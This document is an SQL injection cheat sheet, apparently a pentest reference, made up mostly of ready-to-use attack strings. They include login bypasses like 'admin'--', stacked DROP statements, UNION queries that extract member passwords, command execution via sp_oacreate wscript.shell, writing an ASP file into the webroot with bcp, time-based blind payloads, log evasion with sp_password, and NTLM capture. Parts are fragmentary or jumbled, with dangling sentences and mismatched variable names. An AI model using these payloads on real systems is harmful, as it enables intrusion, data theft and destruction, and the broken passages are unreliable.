SQL Injection Samples
SQL Injection Samples
SQL Injection Samples
Line comments are generally useful for ignoring rest of the query so you don’t have to deal with
fixing the syntax.
• -- (SM)
DROP sampletable;--
• # (M)
DROP sampletable;#
• Username: admin'--
• SELECT * FROM members WHERE username = 'admin'--' AND password =
'password'
This is going to log you as admin user, because rest of the SQL query will be ignored.
Inline Comments
Comments out rest of the query by not closing them or you can use for bypassing
blacklisting, removing spaces, obfuscating and determining database versions.
Stacking Queries
Executing more than one query in one transaction. This is very useful in every injection
point, especially in SQL Server back ended applications.
• ; (S)
SELECT * FROM members; DROP members--
This will run DROP members SQL sentence after normal SQL Query.
If Statements
Get response based on a if statement. This is one of the key points of Blind SQL Injection, also
can be very useful to test simple stuff blindly and accurately.
MySQL If Statement
• IF(condition,true-part,false-part) (M)
SELECT IF(1=1,'true','false')
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
This will throw an divide by zero error if current logged user is not "sa" or "dbo".
Using Integers
Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.
• 0xHEXNUMBER (SM)
You can write hex like these;
String Operations
String related operations. These can be quite useful to build up injections which are not using
any quotes, bypass any other black listing or determine back end database.
String Concatenation
• + (S)
SELECT login + '-' + password FROM members
• || (*MO)
SELECT login || '-' || password FROM members
*About MySQL "||";
If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as
`logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.
These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and
CONCAT()(M) to generate string without quotes.
• ASCII() (SMP)
Returns ASCII character value of leftmost character. A must have function for Blind SQL
Injections.
SELECT ASCII('a')
• CHAR() (SM)
Convert an integer of ASCII.
SELECT CHAR(64)
Union Injections
With union you do SQL queries cross-table. Basically you can poison query to return records
from another table.
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will combine results from both news table and members table and return all of them.
Another Example :
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
While exploiting Union injections sometimes you get errors because of different language
settings (table settings, field settings, combined table / db settings etc.) these functions are quite
useful to fix this problem. It's rare but if you dealing with Japanese, Russian, Turkish etc.
applications then you will see it.
• MySQL (M)
Hex() for every possible issue
• admin' --
• admin' #
• admin'/*
• ' or 1=1--
• ' or 1=1#
• ' or 1=1/*
• ') or '1'='1--
• ') or ('1'='1--
• ....
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
Finding column number by ORDER BY can speed up the UNION SQL Injection process.
• ORDER BY 1--
• ORDER BY 2--
• ORDER BY N-- so on
• Keep going until get an error. Error means you found the number of selected columns.
Hints,
• Always use UNION with ALL because of image similiar non-distinct field types. By
default union tries to get records with distinct.
• To get rid of unrequired records from left table use -1 or any not exist record search in the
beginning of query (if injection is in WHERE). This can be critical if you are only getting
one result at a time.
• Use NULL in UNION injections for most data type instead of trying to guess string, date,
integer etc.
o Be careful in Blind situtaions may you can understand error is coming from DB or
application itself. Because languages like ASP.NET generally throws errors while
trying to use NULL values (because normally developers are not expecting to see
NULL in a username field)
You’ll get convert() errors before union target errors ! So start with convert() then union
@@version (MS)
Version of database and more details for SQL Server. It's a constant. You can just select it like
any other column, you don't need to supply table name. Also you can use insert, update
statements or in functions.
Insert a file content to a table. If you don't know internal path of web application you can read
IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search
in it to identify application path.
BCP (S)
Write text file. Login Credentials are required to use this function.
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -
Slocalhost -Usa -Pfoobar
You can use VBS, WSH scripting in SQL Server because of ActiveX support.
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec
sp_oamethod @o, 'run', NULL, 'notepad.exe' --
Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.
Simple ping check (configure your firewall or sniffer to identify request before launch it),
You can not read results directly from error or union or something else.
Some Special Tables in SQL Server (S)
• Error Messages
master..sysmessages
• Linked Servers
master..sysservers
• Password (2000 and 20005 both can be crackable, they use very similar hashing
algorithm )
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
You can not use sub selects in SQL Server Insert queries.
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
If injection is in second limit you can comment it out or use in your union injection
By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled
in SQL Server 2005. If you have admin access then you can enable these.
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name =
'tablenameforcolumnnames')
Moving records (S)
Fast way to extract data from Error Based SQL Injections in SQL Server (S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM
syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND
name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Detailed Article : Fast way to extract data from Error Based SQL Injections
In a quite good production application generally you can not see error responses on the page,
so you can not extract data through Union attacks or error based attacks. You have to do use
Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.
Normal Blind, You can not see a response in the page but you can still determine result of a
query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection
a logging function or similar. Not so common though.
In normal blinds you can use if statements or abuse WHERE query in injection (generally
easier), in totally blinds you need to use some waiting functions and analyze response times. For
this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL,
pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back
ended application and enumerating table names. This requests done for first char of the first table
name. SQL queries a bit more complex then requirement because of automation reasons. In we
are trying to determine an ascii value of a char via binary search algorithm.
Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80
which means first char is `P`. This is the way to exploit Blind SQL injections by binary search
algorithm. Other well known way is reading data bit by bit. Both can be effective in different
conditions.
Waiting For Blind SQL Injections
First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference.
Second, be careful while using times more than 20-30 seconds. database API connection or script
can be timeout.
This is just like sleep, wait for spesified time. CPU safe way to make database wait.
• Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'
• ProductID = 1;waitfor delay '0:0:10'--
• ProductID =1);waitfor delay '0:0:10'--
• ProductID =1';waitfor delay '0:0:10'--
• ProductID =1');waitfor delay '0:0:10'--
• ProductID =1));waitfor delay '0:0:10'--
• ProductID =1'));waitfor delay '0:0:10'--
BENCHMARK() (M)
Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume
web servers limit so fast!
BENCHMARK(howmanytimes, do this)
pg_sleep(seconds) (P)
Sleep for supplied seconds.
• SELECT pg_sleep(10);
Sleep 10 seconds.
Covering Tracks
SQL Server -sp_password log bypass (S)
SQL Server don't log queries which includes sp_password for security reasons(!). So if you add -
-sp_password to your queries it will not be in SQL Server logs (of course still will be in web
server logs, try to use POST if it's possible)
1. product.asp?id=4 (SMO)
a. product.asp?id=5-1
b. product.asp?id=4 OR 1=1
2. product.asp?name=Book
a. product.asp?name=Bo’%2b’ok
b. product.asp?name=Bo’ || ’ok (OM)
c. product.asp?name=Book’ OR ‘x’=’x
• MD5()
MD5 Hashing
• SHA1()
SHA1 Hashing
• PASSWORD()
• ENCODE()
• COMPRESS()
Compress data, can be great in large binary reading in Blind SQL Injections.
• ROW_COUNT()
• SCHEMA()
• VERSION()
Same as @@version
If application is using name field in an unsafe stored procedure or function, process etc. then it
will insert first users password as your name etc.
This attack can help you to get SQL Server user's Windows password of target server, but
possibly you inbound connection will be firewalled. Can be very useful internal penetration tests.
We force SQL Server to connect our Windows UNC Share and capture data NTLM session with
a tool like Cain & Abel.
Check out Bulk Insert Reference to understand how can you use bulk insert.